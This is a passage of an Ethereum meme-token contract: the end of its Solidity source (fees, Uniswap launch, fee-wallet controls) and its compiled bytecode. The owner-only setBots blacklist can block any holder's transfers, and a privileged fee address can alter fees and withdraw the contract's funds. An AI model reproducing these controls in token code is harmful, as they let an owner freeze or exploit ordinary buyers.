}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingOpen = true;
walletLimitDuration = block.timestamp + (60 minutes);
}
function setMarketingWallet (address payable marketingWalletAddress) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[_marketingWalletAddress] = false;
_marketingWalletAddress = marketingWalletAddress;
_isExcludedFromFee[marketingWalletAddress] = true;
}
function excludeFromFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = true;
}
function includeToFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = false;
}
function setNoTaxMode(bool onoff) external {
require(_msgSender() == _FeeAddress);
_noTaxMode = onoff;
}
function setTeamFee(uint256 team) external {
require(_msgSender() == _FeeAddress);
require(team <= 4);
_teamFee = team;
}
function setTaxFee(uint256 tax) external {
require(_msgSender() == _FeeAddress);
require(tax <= 2);
_taxFee = tax;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
_bots[notbot] = false;
}
function isBot(address ad) public view returns (bool) {
return _bots[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063c3c8cd801161008a578063cf0848f711610064578063cf0848f7146104fb578063db92dbb614610524578063dd62ed3e1461054f578063e6ec64ec1461058c57610171565b8063c3c8cd80146104a4578063c4081a4c146104bb578063c9567bf9146104e457610171565b806370a0823114610394578063715018a6146103d15780638da5cb5b146103e857806395d89b4114610413578063a9059cbb1461043e578063b515566a1461047b57610171565b8063313ce56711610123578063313ce5671461029a5780633bbac579146102c5578063437823ec146103025780634b740b161461032b5780635d098b38146103545780636fc3eaec1461037d57610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806323b872dd14610209578063273123b71461024657806327f3a72a1461026f57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105b5565b6040516101989190613285565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612daf565b6105f2565b6040516101d5919061326a565b60405180910390f35b3480156101ea57600080fd5b506101f3610610565b6040516102009190613407565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612d5c565b610621565b60405161023d919061326a565b60405180910390f35b34801561025257600080fd5b5061026d60048036038101906102689190612c95565b6106fa565b005b34801561027b57600080fd5b506102846107ea565b6040516102919190613407565b60405180910390f35b3480156102a657600080fd5b506102af6107fa565b6040516102bc919061347c565b60405180910390f35b3480156102d157600080fd5b506102ec60048036038101906102e79190612c95565b610803565b6040516102f9919061326a565b60405180910390f35b34801561030e57600080fd5b5061032960048036038101906103249190612cef565b610859565b005b34801561033757600080fd5b50610352600480360381019061034d9190612e38565b610915565b005b34801561036057600080fd5b5061037b60048036038101906103769190612cef565b610993565b005b34801561038957600080fd5b50610392610b0a565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190612c95565b610b7c565b6040516103c89190613407565b60405180910390f35b3480156103dd57600080fd5b506103e6610bcd565b005b3480156103f457600080fd5b506103fd610d20565b60405161040a919061319c565b60405180910390f35b34801561041f57600080fd5b50610428610d49565b6040516104359190613285565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190612daf565b610d86565b604051610472919061326a565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d9190612def565b610da4565b005b3480156104b057600080fd5b506104b9610fb4565b005b3480156104c757600080fd5b506104e260048036038101906104dd9190612e92565b61102e565b005b3480156104f057600080fd5b506104f96110a7565b005b34801561050757600080fd5b50610522600480360381019061051d9190612cef565b6115d2565b005b34801561053057600080fd5b5061053961168e565b6040516105469190613407565b60405180910390f35b34801561055b57600080fd5b5061057660048036038101906105719190612d1c565b6116c0565b6040516105839190613407565b60405180910390f35b34801561059857600080fd5b506105b360048036038101906105ae9190612e92565b611747565b005b60606040518060400160405280600681526020017f7761697761750000000000000000000000000000000000000000000000000000815250905090565b60006106066105ff6117c0565b84846117c8565b6001905092915050565b6000683635c9adc5dea00000905090565b600061062e848484611993565b6106ef8461063a6117c0565b6106ea85604051806060016040528060288152602001613b8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106a06117c0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fe59092919063ffffffff16565b6117c8565b600190509392505050565b6107026117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078690613347565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006107f530610b7c565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661089a6117c0565b73ffffffffffffffffffffffffffffffffffffffff16146108ba57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109566117c0565b73ffffffffffffffffffffffffffffffffffffffff161461097657600080fd5b80601060156101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d46117c0565b73ffffffffffffffffffffffffffffffffffffffff16146109f457600080fd5b600060056000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b4b6117c0565b73ffffffffffffffffffffffffffffffffffffffff1614610b6b57600080fd5b6000479050610b7981612049565b50565b6000610bc6600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612144565b9050919050565b610bd56117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5990613347565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5749575500000000000000000000000000000000000000000000000000000000815250905090565b6000610d9a610d936117c0565b8484611993565b6001905092915050565b610dac6117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3090613347565b60405180910390fd5b60005b8151811015610fb057601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610e9157610e906137d6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610f255750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f0457610f036137d6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15610f9d57600160066000848481518110610f4357610f426137d6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080610fa89061372f565b915050610e3c565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ff56117c0565b73ffffffffffffffffffffffffffffffffffffffff161461101557600080fd5b600061102030610b7c565b905061102b816121b2565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661106f6117c0565b73ffffffffffffffffffffffffffffffffffffffff161461108f57600080fd5b600281111561109d57600080fd5b8060098190555050565b6110af6117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461113c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113390613347565b60405180910390fd5b601060149054906101000a900460ff161561118c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611183906133c7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061121c30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006117c8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561126257600080fd5b505afa158015611276573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129a9190612cc2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156112fc57600080fd5b505afa158015611310573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113349190612cc2565b6040518363ffffffff1660e01b81526004016113519291906131b7565b602060405180830381600087803b15801561136b57600080fd5b505af115801561137f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a39190612cc2565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061142c30610b7c565b600080611437610d20565b426040518863ffffffff1660e01b815260040161145996959493929190613209565b6060604051808303818588803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114ab9190612ebf565b505050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161154d9291906131e0565b602060405180830381600087803b15801561156757600080fd5b505af115801561157b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159f9190612e65565b506001601060146101000a81548160ff021916908315150217905550610e10426115c9919061353d565b60118190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116136117c0565b73ffffffffffffffffffffffffffffffffffffffff161461163357600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006116bb601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886117c0565b73ffffffffffffffffffffffffffffffffffffffff16146117a857600080fd5b60048111156117b657600080fd5b80600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182f906133a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189f906132e7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119869190613407565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa90613387565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6a906132a7565b60405180910390fd5b60008111611ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aad90613367565b60405180910390fd5b611abe610d20565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b2c5750611afc610d20565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f0b57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611bd55750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611bde57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c895750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cdf5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9b57601060149054906101000a900460ff16611d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2a906133e7565b60405180910390fd5b426011541115611d9a576000611d4883610b7c565b9050611d7a6064611d6c6002683635c9adc5dea0000061243a90919063ffffffff16565b6124b590919063ffffffff16565b611d8d82846124ff90919063ffffffff16565b1115611d9857600080fd5b505b5b6000611da630610b7c565b9050601060169054906101000a900460ff16158015611e135750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e2b5750601060149054906101000a900460ff165b15611f09576000811115611eef57611e8a6064611e7c6005611e6e601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b61243a90919063ffffffff16565b6124b590919063ffffffff16565b811115611ee557611ee26064611ed46005611ec6601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b61243a90919063ffffffff16565b6124b590919063ffffffff16565b90505b611eee816121b2565b5b60004790506000811115611f0757611f0647612049565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fb25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611fc95750601060159054906101000a900460ff165b15611fd357600090505b611fdf8484848461255d565b50505050565b600083831115829061202d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120249190613285565b60405180910390fd5b506000838561203c919061361e565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120996002846124b590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156120c4573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121156002846124b590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612140573d6000803e3d6000fd5b5050565b600060075482111561218b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612182906132c7565b60405180910390fd5b600061219561258a565b90506121aa81846124b590919063ffffffff16565b915050919050565b6001601060166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121ea576121e9613805565b5b6040519080825280602002602001820160405280156122185781602001602082028036833780820191505090505b50905030816000815181106122305761222f6137d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156122d257600080fd5b505afa1580156122e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061230a9190612cc2565b8160018151811061231e5761231d6137d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061238530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117c8565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123e9959493929190613422565b600060405180830381600087803b15801561240357600080fd5b505af1158015612417573d6000803e3d6000fd5b50505050506000601060166101000a81548160ff02191690831515021790555050565b60008083141561244d57600090506124af565b6000828461245b91906135c4565b905082848261246a9190613593565b146124aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a190613327565b60405180910390fd5b809150505b92915050565b60006124f783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125b5565b905092915050565b600080828461250e919061353d565b905083811015612553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254a90613307565b60405180910390fd5b8091505092915050565b8061256b5761256a612618565b5b61257684848461265b565b8061258457612583612826565b5b50505050565b600080600061259761283a565b915091506125ae81836124b590919063ffffffff16565b9250505090565b600080831182906125fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f39190613285565b60405180910390fd5b506000838561260b9190613593565b9050809150509392505050565b600060095414801561262c57506000600a54145b1561263657612659565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b60008060008060008061266d8761289c565b9550955095509550955095506126cb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061276085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ff90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ac8161294e565b6127b68483612a0b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128139190613407565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea000009050612870683635c9adc5dea000006007546124b590919063ffffffff16565b82101561288f57600754683635c9adc5dea00000935093505050612898565b81819350935050505b9091565b60008060008060008060008060006128b98a600954600a54612a45565b92509250925060006128c961258a565b905060008060006128dc8e878787612adb565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061294683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fe5565b905092915050565b600061295861258a565b9050600061296f828461243a90919063ffffffff16565b90506129c381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ff90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612a208260075461290490919063ffffffff16565b600781905550612a3b816008546124ff90919063ffffffff16565b6008819055505050565b600080600080612a716064612a63888a61243a90919063ffffffff16565b6124b590919063ffffffff16565b90506000612a9b6064612a8d888b61243a90919063ffffffff16565b6124b590919063ffffffff16565b90506000612ac482612ab6858c61290490919063ffffffff16565b61290490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612af4858961243a90919063ffffffff16565b90506000612b0b868961243a90919063ffffffff16565b90506000612b22878961243a90919063ffffffff16565b90506000612b4b82612b3d858761290490919063ffffffff16565b61290490919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612b77612b72846134bc565b613497565b90508083825260208201905082856020860282011115612b9a57612b99613839565b5b60005b85811015612bca5781612bb08882612bd4565b845260208401935060208301925050600181019050612b9d565b5050509392505050565b600081359050612be381613b26565b92915050565b600081519050612bf881613b26565b92915050565b600081359050612c0d81613b3d565b92915050565b600082601f830112612c2857612c27613834565b5b8135612c38848260208601612b64565b91505092915050565b600081359050612c5081613b54565b92915050565b600081519050612c6581613b54565b92915050565b600081359050612c7a81613b6b565b92915050565b600081519050612c8f81613b6b565b92915050565b600060208284031215612cab57612caa613843565b5b6000612cb984828501612bd4565b91505092915050565b600060208284031215612cd857612cd7613843565b5b6000612ce684828501612be9565b91505092915050565b600060208284031215612d0557612d04613843565b5b6000612d1384828501612bfe565b91505092915050565b60008060408385031215612d3357612d32613843565b5b6000612d4185828601612bd4565b9250506020612d5285828601612bd4565b9150509250929050565b600080600060608486031215612d7557612d74613843565b5b6000612d8386828701612bd4565b9350506020612d9486828701612bd4565b9250506040612da586828701612c6b565b9150509250925092565b60008060408385031215612dc657612dc5613843565b5b6000612dd485828601612bd4565b9250506020612de585828601612c6b565b9150509250929050565b600060208284031215612e0557612e04613843565b5b600082013567ffffffffffffffff811115612e2357612e2261383e565b5b612e2f84828501612c13565b91505092915050565b600060208284031215612e4e57612e4d613843565b5b6000612e5c84828501612c41565b91505092915050565b600060208284031215612e7b57612e7a613843565b5b6000612e8984828501612c56565b91505092915050565b600060208284031215612ea857612ea7613843565b5b6000612eb684828501612c6b565b91505092915050565b600080600060608486031215612ed857612ed7613843565b5b6000612ee686828701612c80565b9350506020612ef786828701612c80565b9250506040612f0886828701612c80565b9150509250925092565b6000612f1e8383612f2a565b60208301905092915050565b612f3381613652565b82525050565b612f4281613652565b82525050565b6000612f53826134f8565b612f5d818561351b565b9350612f68836134e8565b8060005b83811015612f99578151612f808882612f12565b9750612f8b8361350e565b925050600181019050612f6c565b5085935050505092915050565b612faf81613676565b82525050565b612fbe816136b9565b82525050565b6000612fcf82613503565b612fd9818561352c565b9350612fe98185602086016136cb565b612ff281613848565b840191505092915050565b600061300a60238361352c565b915061301582613859565b604082019050919050565b600061302d602a8361352c565b9150613038826138a8565b604082019050919050565b600061305060228361352c565b915061305b826138f7565b604082019050919050565b6000613073601b8361352c565b915061307e82613946565b602082019050919050565b600061309660218361352c565b91506130a18261396f565b604082019050919050565b60006130b960208361352c565b91506130c4826139be565b602082019050919050565b60006130dc60298361352c565b91506130e7826139e7565b604082019050919050565b60006130ff60258361352c565b915061310a82613a36565b604082019050919050565b600061312260248361352c565b915061312d82613a85565b604082019050919050565b600061314560178361352c565b915061315082613ad4565b602082019050919050565b600061316860188361352c565b915061317382613afd565b602082019050919050565b613187816136a2565b82525050565b613196816136ac565b82525050565b60006020820190506131b16000830184612f39565b92915050565b60006040820190506131cc6000830185612f39565b6131d96020830184612f39565b9392505050565b60006040820190506131f56000830185612f39565b613202602083018461317e565b9392505050565b600060c08201905061321e6000830189612f39565b61322b602083018861317e565b6132386040830187612fb5565b6132456060830186612fb5565b6132526080830185612f39565b61325f60a083018461317e565b979650505050505050565b600060208201905061327f6000830184612fa6565b92915050565b6000602082019050818103600083015261329f8184612fc4565b905092915050565b600060208201905081810360008301526132c081612ffd565b9050919050565b600060208201905081810360008301526132e081613020565b9050919050565b6000602082019050818103600083015261330081613043565b9050919050565b6000602082019050818103600083015261332081613066565b9050919050565b6000602082019050818103600083015261334081613089565b9050919050565b60006020820190508181036000830152613360816130ac565b9050919050565b60006020820190508181036000830152613380816130cf565b9050919050565b600060208201905081810360008301526133a0816130f2565b9050919050565b600060208201905081810360008301526133c081613115565b9050919050565b600060208201905081810360008301526133e081613138565b9050919050565b600060208201905081810360008301526134008161315b565b9050919050565b600060208201905061341c600083018461317e565b92915050565b600060a082019050613437600083018861317e565b6134446020830187612fb5565b81810360408301526134568186612f48565b90506134656060830185612f39565b613472608083018461317e565b9695505050505050565b6000602082019050613491600083018461318d565b92915050565b60006134a16134b2565b90506134ad82826136fe565b919050565b6000604051905090565b600067ffffffffffffffff8211156134d7576134d6613805565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613548826136a2565b9150613553836136a2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561358857613587613778565b5b828201905092915050565b600061359e826136a2565b91506135a9836136a2565b9250826135b9576135b86137a7565b5b828204905092915050565b60006135cf826136a2565b91506135da836136a2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561361357613612613778565b5b828202905092915050565b6000613629826136a2565b9150613634836136a2565b92508282101561364757613646613778565b5b828203905092915050565b600061365d82613682565b9050919050565b600061366f82613682565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006136c4826136a2565b9050919050565b60005b838110156136e95780820151818401526020810190506136ce565b838111156136f8576000848401525b50505050565b61370782613848565b810181811067ffffffffffffffff8211171561372657613725613805565b5b80604052505050565b600061373a826136a2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561376d5761376c613778565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602